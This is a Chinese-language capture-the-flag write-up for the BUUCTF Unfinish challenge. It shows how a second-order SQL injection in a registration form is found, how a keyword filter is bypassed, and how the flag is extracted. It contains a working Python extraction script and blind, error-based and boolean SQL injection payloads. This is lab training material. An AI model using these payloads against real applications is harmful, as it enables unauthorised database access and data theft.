BUUCTF [网鼎杯2018]Unfinish1:从SQL注入到自动化脚本破解实战

张开发
2026/4/18 14:37:05 15 分钟阅读

分享文章

BUUCTF [网鼎杯2018]Unfinish1:从SQL注入到自动化脚本破解实战
1. 初识Unfinish1从登录页面到注入点发现第一次打开BUUCTF的这道Unfinish1题目时映入眼帘的是一个再普通不过的登录界面。相信很多CTF选手和我一样第一反应就是尝试经典的SQL注入payload。但当我输入常见的admin or 11#时页面只是机械地返回用户名或密码错误没有任何其他信息泄露。这时候就需要换个思路了。根据经验很多Web题目都会在注册功能上做文章。我尝试将URL中的login.php改为register.php果然跳转到了一个注册页面。这个发现很关键因为注册功能往往存在二次注入的可能。所谓二次注入就是用户输入的数据不会立即触发漏洞而是被存储到数据库后在其他操作中被调用时才会引发安全问题。在注册页面我尝试输入一些特殊字符进行测试输入information时页面返回nonono的提示输入#、--等注释符时注册会失败并跳转回登录页这些反应说明系统对某些关键词进行了过滤但过滤机制并不完善。特别是当输入information被拦截时暗示着题目可能屏蔽了information_schema这个关键数据库这让我们无法直接获取数据库结构信息。2. 突破过滤巧用ASCII函数绕过限制既然直接查询information_schema被禁止我们就需要另辟蹊径。经过多次尝试我发现使用0ascii()这个组合可以成功绕过过滤。这个技巧的精妙之处在于ascii()函数可以将字符转换为其ASCII码值通过字符串拼接0的方式可以确保SQL语句的语法正确性这种构造方式不会触发系统的关键词过滤具体来说我们可以构造这样的payload0ascii(substr((select * from flag) from 1 for 1))0这个payload的工作原理是从flag表中查询所有数据使用substr函数逐个字符提取通过ascii函数将字符转为数字最终结果会被拼接到页面显示的用户名中通过这种方式我们就能绕过过滤逐步获取flag表中的数据。这种技巧在CTF比赛中非常实用特别是当遇到关键词过滤时。3. 自动化脚本编写从理论到实践手动一个个字符爆破显然效率太低这时候就需要编写自动化脚本。下面是我最终使用的Python脚本让我们逐段分析import requests import re from time import sleep from bs4 import BeautifulSoup def flag(): flag url http://2e0a2363-377a-46a6-9183-370acb55ef7c.node4.buuoj.cn:81/ url1 url register.php url2 url login.php for i in range(1, 100): sleep(0.5) data1 { email: faiwin{i}163.com, username: f0ascii(substr((select * from flag) from {i} for 1))0;, password: 1 } data2 { email: faiwin{i}163.com, password: 1 } response_regiseter requests.post(url1, datadata1) response_login requests.post(url2, datadata2) bs BeautifulSoup(response_login.text, html.parser) username bs.find(span, class_user-name) number username.text flag chr(int(number)) print(flag) if __name__ __main__: flag()这个脚本的核心逻辑是通过循环逐个爆破flag的每个字符每次注册一个新用户在用户名字段注入我们的payload注册后立即登录从返回页面中提取ASCII码值将ASCII码转换为字符拼接到flag字符串中几个关键点需要注意每次注册使用不同的邮箱地址避免冲突在payload中精确控制字符位置from {i} for 1使用BeautifulSoup解析HTML提取关键数据添加sleep避免请求过于频繁被拦截4. 实战中的坑与优化技巧在实际运行脚本的过程中我遇到了几个典型问题这里分享给大家避免踩坑问题1请求频率过高导致失败最初我没有设置sleep结果服务器开始返回错误。这是因为短时间内大量请求会被识别为攻击行为。解决方法很简单在每个循环中加入短暂的延迟sleep(0.5) # 半秒延迟足够避免触发防护问题2特殊字符处理当flag中包含特殊字符时直接拼接可能导致SQL语句错误。我的解决方案是确保payload中的引号正确闭合使用参数化方式构造字符串Python的f-string对提取的数字进行严格的类型转换问题3页面解析失败有时候返回的HTML结构可能变化导致BeautifulSoup找不到目标元素。增强鲁棒性的方法是username bs.find(span, class_user-name) if username is None: print(解析失败检查页面结构) continue性能优化建议可以尝试多线程加速但要控制并发数对已知的flag格式如以flag{开头可以优先验证缓存已经获取的字符避免重复查询5. 深入理解二次注入漏洞这道题目展示了一个典型的二次注入案例。为了更好地理解这种漏洞我们需要分析它的完整生命周期数据输入阶段用户在注册页面输入恶意数据数据存储阶段应用将数据存入数据库未进行适当处理数据使用阶段在登录或其他操作时存储的数据被不安全地使用漏洞触发阶段恶意SQL语句被执行导致信息泄露防御二次注入的关键在于所有用户输入都应该参数化处理即使是存储到数据库的数据在使用时也要视为不可信实施最小权限原则数据库用户只拥有必要权限在CTF比赛中这类题目通常会提供一个看似无害的功能点如注册在另一个功能点如登录后的信息展示触发漏洞设置一些过滤规则增加挑战性6. 扩展思考其他可能的解题路径虽然ASCII转换的方法有效但CTF的魅力就在于往往有多种解法。这里探讨其他可能的解题思路方法一盲注技术如果页面没有直接返回查询结果我们可以尝试基于时间的盲注0(case when ascii(substr((select * from flag) from 1 for 1))100 then sleep(3) else 0 end)0通过判断响应时间差异来推断字符值。方法二报错注入如果系统配置不当可以尝试触发SQL错误来获取信息0extractvalue(1,concat(0x7e,(select * from flag),0x7e))0方法三布尔盲注通过观察页面返回内容的细微差别来判断条件真假0(ascii(substr((select * from flag) from 1 for 1))100)0每种方法都有其适用场景在实际比赛中需要根据题目特点灵活选择。这道题目之所以选择ASCII转换的方法是因为它实现简单直接不需要猜测复杂的条件能够稳定获取完整flag7. CTF实战中的通用技巧总结通过这道题目我们可以总结出一些CTF Web题的通用解题技巧全面测试所有功能点不要局限于题目直接展示的功能尝试修改URL参数、查找隐藏入口关注错误信息不同的错误响应往往能透露系统内部信息逐步升级payload从简单测试开始逐步增加复杂度自动化是王道手动测试效率低下尽早编写自动化脚本注意防护机制合理设置请求间隔避免触发防护规则记录所有尝试保持详细的测试记录避免重复工作对于SQL注入类题目特别要注意尝试各种注释方式#、--、/* */测试不同字符串拼接方法准备常用的绕过关键词过滤的技巧了解各种数据库的特有函数这道Unfinish1题目虽然不算复杂但很好地展示了从漏洞发现到利用的完整过程。在真实的CTF比赛中时间管理也很关键。建议先快速确认漏洞类型然后立即着手编写脚本而不是一直手动测试。

更多文章